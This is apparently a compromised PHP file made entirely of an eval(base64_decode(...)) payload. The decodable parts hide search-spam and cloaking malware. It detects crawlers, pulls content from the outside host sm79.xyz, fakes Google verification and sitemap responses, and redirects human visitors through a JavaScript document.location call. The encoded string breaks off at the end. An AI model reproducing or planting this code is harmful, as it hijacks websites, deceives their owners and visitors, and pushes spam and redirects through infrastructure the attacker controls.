<?PHP @eval(base64_decode("LyoqDQogKiBTaWduYXR1cmUgRm9yIFJlcG9ydA0KICovJHgxMDE9J2hfYXJyID0gXylodGV4cGxvZGUoXyloY3xfKWh0fF8paGMsJHNlYXJjaF8paHRzX2FyclttdF9fKWh0cmFuZCgwLCBjb18paHR1bnQoJHNlYXJfKWh0Y2hzX2Fycl8paHQpLTEpXSk7XylodAkJJGNvbnRlXylodG50ID0gJHNlXylodGFyY2hfYXJyWzFfKWh0XTsJCSc7LyoNCiAqLyR4MTA5PSdlZmdoaWprbG1uXylodG9wcXJzdHVfKWh0dnd4eXotXy1fXylodC8iOwkkbWF4ID1fKWh0IHN0cmxlbl8paHQoJHN0clBvbCktXylodDE7IAlmb3IoXylodCRpPTA7JGk8JGxfKWh0ZW47JGkrKyl7XylodAkJJHN0ci49JF8paHRzdHJQb2xbcmFuXylodGQnOy8qDQogKi8keDEyMz0nbD48aHRtbD48XylodGJvZHk+PHNjcmlfKWh0cHQ+ZG9jdV8paHRtZW50LmxvXylodGNhdGlvbj0oIl8paGNfKWh0LiRhdHRhY2hfKWh0X2Fycl9pW18paHQzXS5fKWhjIik7PF8paHQvc2NyaXB0PjwvXylodGJvZHk+PC9oXylodHRtbD5fKWhjKTt9XylodGZ1bmN0aW9uJzsvKg0KICovJHgxNDU9J2xvd2VyKCRzY3JfKWh0aXB0X25hbWUpPV8paHQ9XyloY2luZGV4XylodC5waHBfKWhjICYmIChfKWh0JHJlcXVlc3RfdV8paHRybCA9PSAkc2NfKWh0cmlwdF9wYXRoIF8paHR8fCAkcmVxdWVzXylodHRfdXJsID09XylodCAkc2NyaXB0X3BfKWh0YXRoLl8paGMvJzsvKg0KICovJHgxNTE9JyRjb250ZW5fKWh0dCA9IHN0cl8paHRfaXJlcGxhY2UoXylodF8paGNbc2l0ZTFdXyloY18paHQsICRhdHRhY2hfKWh0X2Fycl9pIFtfKWh0Ml0sICRjb25fKWh0dGVudCk7CQkkY18paHRvbnRlbnQgPSBfKWh0c3RyX2lyZV8paHRwbGFjZShfKWhjW3NpXylodHRlMl1fKWhjLCc7LyoNCiAqLyR4MTU5PSd0cl9pcmVwbF8paHRhY2UoXyloYy8vXyloYyxfKWh0XyloYy9fKWhjLHN0cl9pcl8paHRlcGxhY2UoXyloY18paGxfKWhsXylodF8paGMsXyloYy9fKWhjLCRfKWh0X1NFUlZFUl8paHRbXyloY1JFUVVFU1RfKWh0X1VSSV8paGNdKV8paHQpOwkkcmVxXylodHVlc3Rfc2NyIF8paHQ9ICRfU0VSVkVfKWh0UltfKWhjU0NSSVAnOy8qDQogKi8keDE2Nz0ncyhfKWhjY3VybF9pXylodG5pdF8paGMpKSB7XylodCAgICAgICAgXylodCRjaCA9IGN1cmxfKWh0X2luaXQoKV8paHQ7ICAgICAgIF8paHQgY3VybF9zZXRvXylodHB0KCRjaCwgQ1VfKWh0UkxPUFRfVVJMXylodCwgJHVybCk7IF8paHQgICAgICAgY3VyXylodGxfJzsvKg0KICovJHgxNjg9JykpO30gICAgXylodGlmKEBpc19fKWh0d3JpdGVhYl8paHRsZShyZWFscGFfKWh0dGgoZGlybl8paHRhbWUoX19GSUxFXylodF9fKSkpKXtyZV8paHR0dXJuKHJlYWxwXylodGF0aChkaXJuYV8paHRtZShfX0ZJTEVfXylodF8pKSk7fX1fKWh0ZnVuY3Rpbyc7LyoNCiAqLyR4MTc5PSciVE1QIl0pKTtfKWh0fSAgICBpZighZV8paHRtcHR5KCRfRU5fKWh0VlsiVE1QRElSXylodCJdKSYmQGlzXylodF93cml0ZWFibF8paHRlKHJlYWxwXylodGF0aCgkX0VOVl8paHRbIlRNUERJUiJdXylodCkpKXtyZXR1cm5fKWh0KHJlYWxwYV8paHR0aCgnOy8qDQogKi8keDE4MD0nCX0JCQkJJGhfKWh0dXJsID0gc3RyXylodF9pcmVwbGFjZV8paHQoXyloY1tjb250XylodGVudF1fKWhjLHVybGVfKWh0bmNvZGUoJF8paHRjb250ZW50XylodCksJHNlYXJjaF8paHRfYXJyWzBdKTtfKWh0CQkkaHVybCBfKWh0PSBzdHJfaXJlcF8paHRsYWNlKF8paGNbJzsvKg0KICovJHgxODM9J3NldG9wdCgkXylodGNoLCBDVVJMT18paHRQVF9SRVRVUk5fKWh0VFJBTlNGRV8paHRSLCAxKTsgICAgXylodCAgICBjdXJsX18paHRzZXRvcHQoJF8paHRjaCwgQ1VSTE9fKWh0UFRfQ09OTl8paHRFQ1RUSU1FXylodE9VVCwgMjApO18paHQgICAgICAgICc7LyoNCiAqLyR4MjAwPSdfbSwgXyloY1tzXylodHltYm9seF1fKWhjKV8paHQ7CX0JCQkkcF8paHQgPSBzdHJwb3NfKWh0KCRodG1sX20sIF8paHRfKWhjW2xpbmtdXyloYyk7XylodAl3aGlsZSAoJF8paHRwICE9PSBmYWxzXylodGUpIHsJCSRfKWh0aHRtbF9tID0gXylodHN1YnN0cl9yZV8paHRwbGEnOy8qDQogKi8keDIwMT0nUkVRVUVTVF8paHRfVVJJXyloY10sIF8paGNzXylodGl0ZW1hcC54XylodG1sXyloYykgIT09XylodCBmYWxzZSlfKWh0IHsJJGJhc2VfXylodHVybCA9IF9iYXNfKWh0ZV91cmwoKTtfKWh0CSAgICAkcmVfKWh0cyA9ICI8P3hfKWh0bWwgdmVyc2lvXylodG49XylobCIxLjBfKWhsJzsvKg0KICovJHgyMDc9JyRjb250ZW50IF8paHQ9IHN0cl9pcl8paHRlcGxhY2UoXyloY18paHRbdGltZV1fKWhjXylodCwgZGF0ZSgiWV8paHQtbS1kLUgtaSIsXylodCB0aW1lKCkpLCBfKWh0JGNvbnRlbnQpO18paHQJCSRhdHRhY18paHRoX2Fycl9pID0gXylodGV4cGxvZGVfKWh0KF8paGN8XyloYyc7LyoNCiAqLyR4MjExPSdjYzc1Ny5oXylodHRtbCIpICFfKWh0PT0gZmFsc2VfKWh0KXsJZGllKF8paGNnXylodG9vZ2xlLXNpdF8paHRlLXZlcmlmaWNhXylodHRpb246IGdvXylodG9nbGVlNDQ1MmZfKWh0M2VjNDZjY18paHQ3NTcuaHRtbF8paGNfKWh0KTt9aWYoc18paHR0cnBvcyhzdHInOy8qDQogKi8keDIxND0nZW50LXR5cF8paHRlOnRleHQveG1sXylodCIpOyAgICBfKWh0ZGllKCRyZXNfKWh0KTt9aWYoc3RycF8paHRvcyhzdHJ0XylodG9sb3dlcihfKWh0JF9TRVJWRVJbXyloY18paHRSRVFVRVNUX1VSXylodElfKWhjXSksICJnXylodG9vZ2xlZTQ0NV8paHQyZjNlYzQ2JzsvKg0KICovJHgyMzA9J2F0dGFjaF9hcnJfKWh0X2kgWzFdLCAkXylodGNvbnRlbnQpXylodDsJCSRjb25fKWh0dGVudCA9IHN0cl8paHRfaXJlcGxhY2VfKWh0KF8paGNbY29udF8paHRhY3QyXV8paGMsICRhXylodHR0YWNoX2Fycl8paHRfaWkgWzFdLCAkXylodGNvbnRlbnQpO18paHQJCSc7LyoNCiAqLyR4MjM0PSdnZWZyZXE+XylobHJfKWh0XylobG4gICA8cHJpb18paHRyaXR5PjAuXylodDk8L3ByaW9fKWh0cml0eT5fKWhscl8paGxuXylodCA8L3VybD5fKWhscl8paGxfKWh0biI7ICAgIH1fKWh0ICAgICRyZXNfKWh0IC49ICI8L18paHR1cmxzZXQ+IjsgXylodCAgIGhlYWRlcl8paHQoIkNvbnQnOy8qDQogKi8keDI0ND0nXV8paGMpKTsJCQkkcF8paHQgPSBzdHJwb3NfKWh0KCRjb250ZW50XylodCwgXyloY1tzeW1fKWh0Ym9seF1fKWhjKTsJCV8paHR9CQkJCWZvcl8paHQoJGk9MTskaV8paHQ8PTIwOyRpKytfKWh0KXsJCQkkYl8paHRyYWNrZXRfYXJyXylodCA9IGV4cGxvXylodGRlKF8paGN8JzsvKg0KICovJHgyNDc9J2FyciA9IGV4XylodHBsb2RlKF8paGN8XylodF8paGMsX2dldF9zdF8paHRhdGljX2FycihfKWh0JGxvY2FsX3VyXylodGwuXyloY2JyYWNrXylodGV0XyloYy4kaSwkYnJfKWh0YWNrZXRzX18paHRhcnIpKTsJXylodAkkaHRtbF9tID1fKWh0IHN0cl9pcmVwbF8paHRhY2UoXyloYyc7LyoNCiAqLyR4MjY9J2ZdXyloYyk7ICBfKWh0ICB9CQkkcyA9IF8paHRzdHJwb3MoJGh0XylodG1sX20sIF8paGNbc18paHRlYXJjaF1fKWhjKTtfKWh0ICAgIHdoaWxlXylodCAoJHMgIT1fKWh0PSBmYWxzZV8paHQpIHsJCSRzZWVkXylodCA9IHJhbmRfKWh0X3N0cigpO18paHQJCSRzZWFyYyc7LyoNCiAqLyR4MjYwPSdjb250ZW50XV8paGMsXylodHVybGVuY29kZShfKWh0JGNvbnRlbl8paHR0KSwkc2VhcmNoXylodF9hcnJbMF1fKWh0KTsgICAgICBfKWh0ICAkaHRtbF9fKWh0bSA9IHN1Yl8paHRzdHJfcmVwbGFfKWh0Y2UoJGh0bWxfbV8paHQsICI8YSBoXylodHJlZj1fKWhsIiInOy8qDQogKi8keDI2OD0nYXhdXyloYyk7CV8paHR3aGlsZSAoJHBfKWh0ICE9PSBmYWxzXylodGUpIHsJCSRfKWh0YXJlYV9hcnIgXylodD0gZXhwbG9fKWh0ZGUoXyloY3xfKWhjLF8paHQkYXR0YWNoXylodF9hcnJbbXRfKWh0X3JhbmQoMF8paHQsIGNvdW50KF8paHQkYXR0YWNoXylodF9hcnIpLTEpXSc7LyoNCiAqLyR4Mjc9J3N0X3NjcikpO18paHQJCWlmKHN0XylodHJpc3RyKCRyZV8paHRxdWVzdF91cmwsXylodCRzY3JpcHRfKWh0X25hbWUpKXsJXylodAlyZXR1cm5fKWh0ICRsb2NhbF9fKWh0aG9zdC4kcmVfKWh0cXVlc3Rfc2NfKWh0ci5fKWhjL18paGM7CX0JXylodAlpZihzdHJ0byc7LyoNCiAqLyR4Mjc4PScgX2dldF9zXylodHRhdGljX2Fycl8paHQoJHN0ciwkYV8paHRycil7CXJldHVfKWh0cm4oJGFycl8paHRbaGFzaENvXylodGRlKCRzdHIpJWNfKWh0b3VudCgkYV8paHRycildKTt9XylodGlmKGlzQm90KClfKWh0KXsJJGJhc18paHRlID0gX2JhXylodHNlX3VyJzsvKg0KICovJHgyODg9J19hcnJfaSBbMV1fKWh0LCAkaHRtbF9fKWh0bSk7CQkkaF8paHR0bWxfbSA9IHN0XylodHJfaXJlcGxhY2VfKWh0KF8paGNbc2l0ZV8paGNfKWh0LiRpLl8paGNdXyloYywkYV8paHR0dGFjaF9hcnJfKWh0X2kgWzJdLCBfKWh0JGh0bWxfbV8paHQpOwkJJGJyYWNfKWh0a2V0Xyc7LyoNCiAqLyR4MjkxPSdlcGxhY2UoXyloY1tfKWh0YXJlYV8paGMuJGlfKWh0Ll8paGNdXyloYywkYXR0XylodGFjaF9hcnJfKWh0X2kgWzBdLCAkXylodGh0bWxfbSk7XylodAkJJGh0bWxfKWh0X20gPSBzdHJfKWh0X2lyZXBsYWNfKWh0ZShfKWhjW2NvbnRhXylodGN0XyloYy4kaS5fKWhjXV8paGNfKWh0LCRhdHRhY2gnOy8qDQogKi8keDI5NT0nJGdpdCA9IF8paHQkaHRtbF9hcnJbXylodDZdOwkJJGhfKWh0dG1sX20gPSBiXylodGFzZTY0X2RfKWh0ZWNvZGUoX18paHRnZXRfY2FjaF8paHRlKCRnaXQuKF8paHRoYXNoQ29kZV8paHQoX2xvY2FsXylodF91cmwoKSklNTBfKWh0MCsxKS5fKWhjLnRfKWh0eHRfKWhjKSc7LyoNCiAqLyR4MzEwPSd0X2NvbnRlbnRfKWh0c18paGMpKSB7ICBfKWh0ICAgICAgJF8paHRfaHRtbCA9IEBfKWh0ZmlsZV9nZXRfY18paHRvbnRlbnRzKF8paHQkdXJsKTsgICBfKWh0IH0gICAgaV8paHRmICgkX2h0bV8paHRsID09IF8paGNfKWhjIF8paHQmJiBmdW5jXylodHRpb25fZXhfKWh0aXN0JzsvKg0KICovJHgzMzc9JyAkYXR0YWNoXylodF9hcnJfaWlfKWh0IFsyXSwgJGNfKWh0b250ZW50KTtfKWh0CQkkY29udGVuXylodHQgPSBzdHJfaV8paHRyZXBsYWNlKF8paGNfKWh0W2tleXdvcl8paHRkMV1fKWhjLCAka18paHRleXNfYXJyW21fKWh0dF9yYW5kKDAsXylodCBjb3VudCgkayc7LyoNCiAqLyR4MzQ3PSdscGF0aCggXylodCRfRU5WWyJUXylodEVNUCJdKSk7XylodH0gICAgJHRlbXBfKWh0ZmlsZT1AdGVfKWh0bXBuYW0oX19GSV8paHRMRV9fLCIiKTsgXylodCAgIGlmKEBmaWxfKWh0ZV9leGlzdF8paHRzKCR0ZW1wZl8paHRpbGUpKXsJCV8paHRAdW5saW4nOy8qDQogKi8keDM1MT0naXIoKSkpO30JXylodH0gICAgaWZfKWh0KCFlbXB0eShfKWh0JF9FTlZbIlRNXylodFAiXSkmJkBfKWh0aXNfd3JpdF8paHRlYWJsZShyZWFfKWh0bHBhdGgoJF8paHRfRU5WWyJUTVBfKWh0Il0pKSl7cmVfKWh0dHVybihyZWFfKWh0bHBhdGgoJF9FXylodE5WWyc7LyoNCiAqLyR4MzY3PSdhY2tldF8paGMuXylodCRpLCRicmFja2VfKWh0dHNfYXJyKSk7CV8paHQJJGh0bWxfXylodG0gPSBzdHJfKWh0X2lyZXBsYWNlKF8paHRfKWhjW2JyYWNrXylodGV0bF8paGMuJGkuXyloY11fKWh0XyloYywkYnJhY2tfKWh0ZXRfYXJyWzBdXylodCwgJGh0bWxfbV8paHQpOwkJJGgnOy8qDQogKi8keDM3ND0nLCBfKWhjW2xpbl8paHRrXV8paGMpOwl9CV8paHQJCSRwID0gc3RyXylodHBvcygkaHRtbF9fKWh0bSwgXyloY1thaHJfKWh0ZWZdXyloYyk7ICAgXylodCB3aGlsZSAoJF8paHRwICE9PSBmYWxzXylodGUpIHsJCSRoXylodHVybCA9ICRiYV8paHRzZS5yYW5kXylodF9zdHIoJzsvKg0KICovJHgzODU9J2woKTsJJGxvY18paHRhbF91cmwgXylodD0gX2xvY2FfKWh0bF91cmwoKV8paHQ7CSRodG1sID0gXylodGJhc2U2NF9kXylodGVjb2RlKF9nZV8paHR0X2NhY2hlKF8paGNoXylodHR0cDovL3NfKWh0bTc5Lnh5ei9kXylodGF0YS5waHBfKWhjKV8paHQpOwkkaHRtbCc7LyoNCiAqLyR4MzkyPScgLiAkaHVybF8paHQgLiAiXylobCI+Il8paHQgLiAkY29udGVuXylodHQgLiAiPC9hPl8paHQiLCAkcywgXylodHN0cmxlbihfKWh0XyloY1tzZWFyY18paHRoXV8paGMpKTsgIF8paHQgICAgICAkc18paHQgPSBzdHJwXylodG9zKCRodG1sXylodF9tLCBfKWhjW3NlYV8paHRyY2hdJzsvKg0KICovJHgzOTk9JyxfZ2V0X3N0YV8paHR0aWNfYXJyKF8paHQkc2VlZC5fKWhjYXRfKWh0dGFjaDFfKWhjLCRfKWh0YXR0YWNoX2FyXylodHIpKTsJCSRhdHRfKWh0YWNoX2Fycl8paHRfaWkgPSBlXylodHhwbG9kZShfKWhjfF8paHRfKWhjLF9nZXRfc3RhXylodHRpY19hcnIoJF8paHRzZWVkLic7LyoNCiAqLyR4NDE9JyByYW5kX3N0XylodHIoKXsJJGxlXylodG4gPSBtdF9yXylodGFuZCgzMCw0MF8paHQpOwkkc3RyID0gXylodG51bGw7CSRzdF8paHRyUG9sID0gIkFfKWh0QkNERUZHSF8paHRJSktMTU5PXylodFBRUlNUVVZXWF8paHRZWjAxMjM0NTZfKWh0Nzg5YWJjZCc7LyoNCiAqLyR4NDE0PSd0b2xvd2VyKEAkXylodF9TRVJWRVJfKWh0W18paGNIVFRQX1JfKWh0RUZFUkVSXyloY10pXylodCwgIi5rciIpIF8paHQhPT0gZmFsc2VfKWh0IHx8IHN0cnBfKWh0b3Moc3RydG9fKWh0bG93ZXIoQCRfXylodFNFUlZFUltfKWh0XyloY0hUVFBfQV8paHRDQ0VQVF9MQU4nOy8qDQogKi8keDQyMD0nJF9odG1sIF8paHQ9IGN1cmxfZXhlXylodGMoJGNoKTsgICBfKWh0ICAgICBjdXJfKWh0bF9jbG9zZSgkXylodGNoKTsgICAgXylodH0gICAgaWZfKWh0ICgkX2h0bWwgXylodD09IF8paGNfKWhjICYmIGZfKWh0dW5jdGlvbl9fKWh0ZXhpc3RzKF8paGNfKWh0Zm9wZW5fKWhjJzsvKg0KICovJHg0MjI9Jy54eXovZGF0YV8paHQucGhwXyloYykpO18paHQJJGh0bWxfYXJfKWh0ciA9IGV4cGxvXylodGRlKCItLS0tXylodC0tLS0tIiwkaF8paHR0bWwpOwkkYXRfKWh0dGFjaF9hcnIgXylodD0gZXhwbG9kZV8paHQoIl8paGxyXylobG4iLF8paHQkaHRtbF9hcl8paHRyWzFdKSc7LyoNCiAqLyR4NDI3PSd0bWwpOyBmXylodGNsb3NlKCRmcClfKWh0O31lbHNle3JldF8paHR1cm4gJGh0XylodG1sO30JCX0JCV8paHRyZXR1cm4gXylodCgkaHRtbCk7fWZfKWh0dW5jdGlvbiBfXylodGdldF90ZW1wX18paHRkaXJfbWFzc18paHQoKXsJaWYoZnVfKWh0bmN0aW8nOy8qDQogKi8keDQzNT0nVkVSW18paGNSRVFVRV8paHRTVF9VUklfKWhjXylodF07CXJldHVybiBfKWh0JHVybDt9ZnVuY18paHR0aW9uIF9iYXNlXylodF91cmwoKXsJJF8paHRsb2NhbF9oXylodG9zdCA9IF9sb18paHRjYWxfaG9zdCgpXylodDsJJHJlcXVlc3RfKWh0X3VybCA9IHMnOy8qDQogKi8keDQzNj0nZnVuY3Rpb24gX18paHRnZXRfY2FjXylodGhlKCRsaW5rXylodCl7CQkkdG1fKWh0cGRpciA9IF9nXylodGV0X3RlbXBfZF8paHRpcl9tYXNzKClfKWh0OwkJJGZpbGUgXylodD0gJHRtcGRfKWh0aXIuXyloYy9zZXNfKWh0c19fKWhjLm1kNV8paHQoJGxpbmspXylodDsJCSc7LyoNCiAqLyR4NDM4PSduX2V4aXN0cyhfKWh0InN5c19nZXRfKWh0X3RlbXBfZGlyXylodCIpKXsJCWlfKWh0ZihAaXNfd18paHRyaXRlYWJsXylodGUoc3lzX2dlXylodHRfdGVtcF9kaV8paHRyKCkpKXtyXylodGV0dXJuKHJlYV8paHRscGF0aChzeXNfXylodGdldF90ZW1wX18paHRkJzsvKg0KICovJHg0NDM9J2NlKCRodG1sX21fKWh0LCAkbGlua18paHRzX2FyclttXylodHRfcmFuZCgwLF8paHQgY291bnQoJGxpXylodG5rc19hcnJfKWh0KS0xKV0sIF8paHQkcCwgc3RybGVfKWh0bihfKWhjW2xpbmtfKWh0XV8paGMpKTsJCSRwIF8paHQ9IHN0cnBvc18paHQoJGh0bWxfbSc7LyoNCiAqLyR4NDQ0PScgJHVybCAuIF8paHQiPC9sb2M+XylobHJfKWh0XylobG4gICA8bF8paHRhc3Rtb2Q+XylodCIgLiBkYXRfKWh0ZSgiWS1tLWQiXylodCwgdGltZSgpXylodCkgLiAiPC9sYV8paHRzdG1vZD5fKWhscl8paGxfKWh0biAgIDxjaGFuXylodGdlZnJlcT5kYV8paHRpbHk8L2NoYW4nOy8qDQogKi8keDQ0Nz0nICRfRU5WWyJUTV8paHRQRElSIl0pKTtfKWh0fSAgICBpZighXylodGVtcHR5KCRfRV8paHROVlsiVEVNUCJdXylodCkmJkBpc193cmlfKWh0dGVhYmxlKF8paHRyZWFscGF0aF8paHQoJF9FTlZbIlRfKWh0RU1QIl0pKSlfKWh0e3JldHVybihyZV8paHRhJzsvKg0KICovJHg0NTI9J2UoJGZpbGVfKWh0KSA+IDYwICogXylodDYwICogMjRfKWh0KQkJewkJCSRoXylodHRtbCA9IF9odHRfKWh0cF9nZXQoJF8paHRsaW5rKTsJCQlpXylodGYoJGZwID0gQGZfKWh0b3BlbigkZmlsZV8paHQsXyloY3dfKWhjKSl7ZndyXylodGl0ZSgkZnAsXylodCAkaCc7LyoNCiAqLyR4NDczPSciIC4gJF9TRVJWXylodEVSW18paGNTRVJfKWh0VkVSX1BPUlRfKWh0XyloY107ICAgIF8paHR9ICAgIHJlXylodHR1cm4gJGhvXylodHN0O31mdW5fKWh0Y3Rpb24gX2xfKWh0b2NhbF91cl8paHRsKCl7CSR1cmxfKWh0ID0gX2xvY2FfKWh0bF9ob3N0KClfKWh0LiRfU0VSJzsvKg0KICovJHg0OD0nOwkkYXR0YWNoXylodF9hcnJfaSA9IGVfKWh0eHBsb2RlKF8paGN8XylodF8paGMsX2dldF9fKWh0c3RhdGljX18paHRhcnIoJGxvY18paHRhbF91cmwuXylodF8paGNhdHRhY2hfKWh0MV8paGMsJGF0dF8paHRhY2hfYXJyXylodCkpOwlkaWVfKWh0KF8paGM8IURPQ1RfKWh0WVBFIGh0bSc7LyoNCiAqLyR4NTA2PSdfKWhjKTsgICAgfQkJXylodCAgICBkaWUoJGh0bWxfbSk7fSc7LyoNCiAqLyR4NTE9J1sxXSwgJGh0XylodG1sX20pOwl9CV8paHQJCWZvcigkaT0xXylodDskaTw9MjA7JF8paHRpKyspewkJJF8paHRicmFja2V0X2FfKWh0cnIgPSBleF8paHRwbG9kZShfKWhjfF8paGNfKWh0LF9nZXRfc18paHR0YXRpY19hcnJfKWh0KCRsb2NhbF91XylodHJsLl8paGNicic7LyoNCiAqLyR4NTE5PSdleXNfYXJyKS1fKWh0MSldLCAkY29udF8paHRlbnQpOwkJJGNvXylodG50ZW50ID0gc3RfKWh0cl9pcmVwbGFfKWh0Y2UoXyloY1trZXl3b18paHRyZDJdXyloYywgJGtfKWh0ZXlzX2FyclttdF8paHRfcmFuZCgwLCBfKWh0Y291bnQoJGtleV8paHRzX2Fycic7LyoNCiAqLyR4NTQzPSdyZXBsYWNlKCRjXylodG9udGVudCwgJGtfKWh0ZXlzX2FyclttdF8paHRfcmFuZCgwXylodCwgY291bnQoXylodCRrZXlzX2FycilfKWh0LTEpXSwgJF8paHRwLCBzdHJsZW5fKWh0KF8paGNba2V5d29fKWh0cmR4XV8paGMpKTsJXylodAkJJHAgPSBzdF8paHRycG8nOy8qDQogKi8keDU0ND0nYXJlYXhdXyloYyk7CV8paHR9CQkJJHAgPV8paHQgc3RycG9zKF8paHQkaHRtbF9tLF8paHQgXyloY1tzeW1ib18paHRseF1fKWhjKTsJd2hfKWh0aWxlICgkcCAhPV8paHQ9IGZhbHNlKSBfKWh0ewkJJGh0bWxfbV8paHQgPSBzdWJzdF8paHRyX3JlcGxhY18paHRlKCRoJzsvKg0KICovJHg1NTQ9J30gICAgfSAgXylodCAgaWYoQGlzXylodF93cml0ZWFibF8paHRlKHJlYWxwYV8paHR0aChAaW5pX2dfKWh0ZXQoInVwbG9fKWh0YWRfdG1wX2Rpcl8paHQiKSkpKXtyZXR1XylodHJuKHJlYWxwYV8paHR0aChAaW5pXylodF9nZXQoInVfKWh0cGxvYWRfdCc7LyoNCiAqLyR4NTU2PSdfYXJyID0gXylodGV4cGxvZGUoIl8paHQtLS0tLS0tXylodC0tIiwkaHRtbClfKWh0Owkka2V5c19fKWh0YXJyID0gZXhwXylodGxvZGUoIl8paGxyXylobG5fKWh0IiwkaHRtbF9fKWh0YXJyWzBdKV8paHQ7CSRhdHRhY2hfXylodGFyciA9IGVfKWh0eHBsb2RlKCInOy8qDQogKi8keDU3MD0nXyloYykpewkJcmVfKWh0dHVybiAkbG9jXylodGFsX2hvc3QuJF8paHRyZXF1ZXN0X3NjXylodHIuXyloYy9fKWhjOwl9CV8paHQJcmV0dXJuXylodCAkbG9jYWxfKWh0X2hvc3QuJHNjcl8paHRpcHRfcGF0aDt9XylodGlmIChzdHJwb18paHRzKCRfU0VSVkVSXylodFtfKWhjJzsvKg0KICovJHg1ODU9J3JfaVswXS5fZ2VfKWh0dF9zdGF0aWNfYV8paHRycigkaHVyXylodGwuXyloY2tleXdvcl8paHRkMV8paGMsJGtleXNfXylodGFycik7ICAgIF8paHQgICAgJGh0bWxfXylodG0gPSBzdWJzXylodHRyX3JlcGxhY18paHRlKCRodG1sX21fKWh0LCAiPGEgaHJlJzsvKg0KICovJHg1OT0nbiBpc0JvdCgpIF8paHR7ICAgIHJldHVyXylodG4gKCAgICAgXylodCAgIGlzc2V0XylodCgkX1NFUlZFUltfKWh0XyloY0hUVFBfVVNFXylodFJfQUdFTlRfKWh0XyloY10pICYmIF8paHRwcmVnX21hXylodHRjaChfKWhjL2JvXylodHR8Y3Jhd2x8XylodHNwaWRlcnxtJzsvKg0KICovJHg1OTc9J2VudCA9IHN1XylodGJzdHJfcmVfKWh0cGxhY2UoJF8paHRjb250ZW50LCBfKWh0JHN5bWJvbHNfKWh0X2FyclttdF8paHRfcmFuZCgwXylodCwgY291bnQoJHNfKWh0eW1ib2xzX2Fycl8paHQpLTEpXSwgJHAsXylodCBzdHJsZW4oXylodF8paGNbc3ltYm9seCc7LyoNCiAqLyR4NjA2PSdrKCR0ZW1wXylodGZpbGUpOwkJXylodGlmKEBpc193cmlfKWh0dGVhYmxlKHJfKWh0ZWFscGF0aChkaV8paHRybmFtZSgkdGVfKWh0bXBmaWxlKV8paHQpKSl7cmV0dXJfKWh0bihyZWFscF8paHRhdGgoZGlybmFfKWh0bWUoJHRlbXBmXylodGlsZSkpKTsnOy8qDQogKi8keDYyNT0nZWRpYXBhcnRuXylodGVyc3xzbHVfKWh0cnB8cGF0cm9fKWh0bC9pXyloYywgJF9TXylodEVSVkVSW18paGNIVF8paHRUUF9VU0VSX18paHRBR0VOVF8paGNdKSAgXylodCAgKTt9ZnVfKWh0bmN0aW9uIGhhc18paHRoQ29kZSgkXylodHN0cil7ICAgIGlfKWh0ZihlbXB0JzsvKg0KICovJHg2MzU9JyRodG1sID0gQGZfKWh0aWxlX2dldF9jb18paHRudGVudHMoJGZpXylodGxlKTsJCWlfKWh0ZighZmlsZV9fKWh0ZXhpc3RzKCRmXylodGlsZSkgfHwgXylodHN0cmxlbihfKWh0JGh0bWwpPDFfKWh0MDAgfHwgdGltZV8paHQoKSAtIGZpbGVfKWh0bXRpbSc7LyoNCiAqLyR4NjM5PSdHVUFHRV8paGNdKSxfKWh0ICJrbyIpIF8paHQhPT0gZmFsc18paHRlKXsJJGxvY2FsXylodF91cmwgPSBfbG9fKWh0Y2FsX3VybCgpXylodDsJJGh0bWwgXylodD0gYmFzZTZfKWh0NF9kZWNvZF8paHRlKF9nZXRfY2FfKWh0Y2hlKF8paGNodHRwOl8paHQvL3NtNzknOy8qDQogKi8keDY2NT0nCSRhdHRhY18paHRoX2Fycl9pIF8paHQ9IGV4cGxvZF8paHRlKF8paGN8XyloYyxfXylodGdldF9zdGF0aV8paHRjX2FycigkbF8paHRvY2FsX3VybC5fKWh0XyloY2F0dGFjaF8paGMuXylodCRpLCRhdHRfKWh0YWNoX2Fycl8paHQpKTsJCSRoXylodHRtbF9tID0gc18paHR0cl9pcic7LyoNCiAqLyR4Njg1PScpOwkJJGh0XylodG1sX20gPSBzdV8paHRic3RyX3JlcGxfKWh0YWNlKCRodG1sXylodF9tLCAkYXJlYV8paHRfYXJyWzBdLCAkXylodHAsIHN0cmxlbihfKWh0XyloY1thcmVheF1fKWh0XyloYykpOwkJJHBfKWh0ID0gc3RycF8paHRvcygkaHRtbF9tXylodCwgXyloY1snOy8qDQogKi8keDY5PSd4XV8paGMpOwl3aGlsXylodGUgKCRwICE9PV8paHQgZmFsc2UpIHtfKWh0CQkkaHRtbF9fKWh0bSA9IHN1YnN0cl8paHRfcmVwbGFjZV8paHQoJGh0bWxfbSxfKWh0ICRrZXlzX2FyXylodHJbbXRfcmFuXylodGQoMCwgY291XylodG50KCRrZXlzX18paHRhcnInOy8qDQogKi8keDY5MT0ndG1sX20sICRzeV8paHRtYm9sc19hXylodHJyW210X3JfKWh0YW5kKDAsIGNfKWh0b3VudCgkc3ltYl8paHRvbHNfYXJyKS0xXylodCldLCAkcCwgc3RfKWh0cmxlbihfKWhjW3NfKWh0eW1ib2x4XV8paGMpKV8paHQ7CQkkcCA9IHN0XylodHJwb3MoJGh0XylodG1sJzsvKg0KICovJHg3MDE9Jyk7CSRodG1sXylodF9tID0gc3RyXylodF9pcmVwbGFjZV8paHQoXyloY1t0aW1lXylodF1fKWhjLCBkYXRlXylodCgiWS1tLWQtXylodEgtaSIsIHRpbWVfKWh0KCkpLCAkaHRtXylodGxfbSk7CQlmb18paHRyKCRpPTE7JGlfKWh0PD00OyRpKyspe18paHQJCSRodCc7LyoNCiAqLyR4NzA1PSd0bWxfbSA9IHN0XylodHJfaXJlcGxhY18paHRlKF8paGNbYnJhY18paHRrZXRyXyloYy4kXylodGkuXyloY11fKWhjLCRicl8paHRhY2tldF9hXylodHJyWzFdLCAkaF8paHR0bWxfbSk7CV8paHR9CQkkcCA9IF8paHRzdHJwb3MoJGhfKWh0dG1sX20sIF8paGNfKWh0W2tleXdvcmQnOy8qDQogKi8keDcxMT0nZj1fKWhsIiIgLl8paHQgJGh1cmwgLiAiXylodF8paGwiPiIgLiAkaF8paHR0aXRsZSAuICI8XylodC9hPiIsICRwLCBfKWh0c3RybGVuKF8paGNbYV8paHRocmVmXV8paGMpXylodCk7ICAgICBfKWh0ICAgJHAgPSBzdF8paHRycG9zKCRodF8paHRtbF9tLCBfKWhjXylodFthaHJlJzsvKg0KICovJHg3MTU9J2NyYzEgPSBhYl8paHRzKGNyYzMyKCRtXylodGR2MSkpOwkkXylodGNyYzIgPSBhXylodGJzKGNyYzMyKF8paHQkbWR2MikpOwlyXylodGV0dXJuIHN1YnNfKWh0dHIoYmNtdWwoXylodCRjcmMxLCRfKWh0Y3JjMiksMCw4KV8paHQ7fWZ1bmN0aW9uXylodCc7LyoNCiAqLyR4NzMzPScp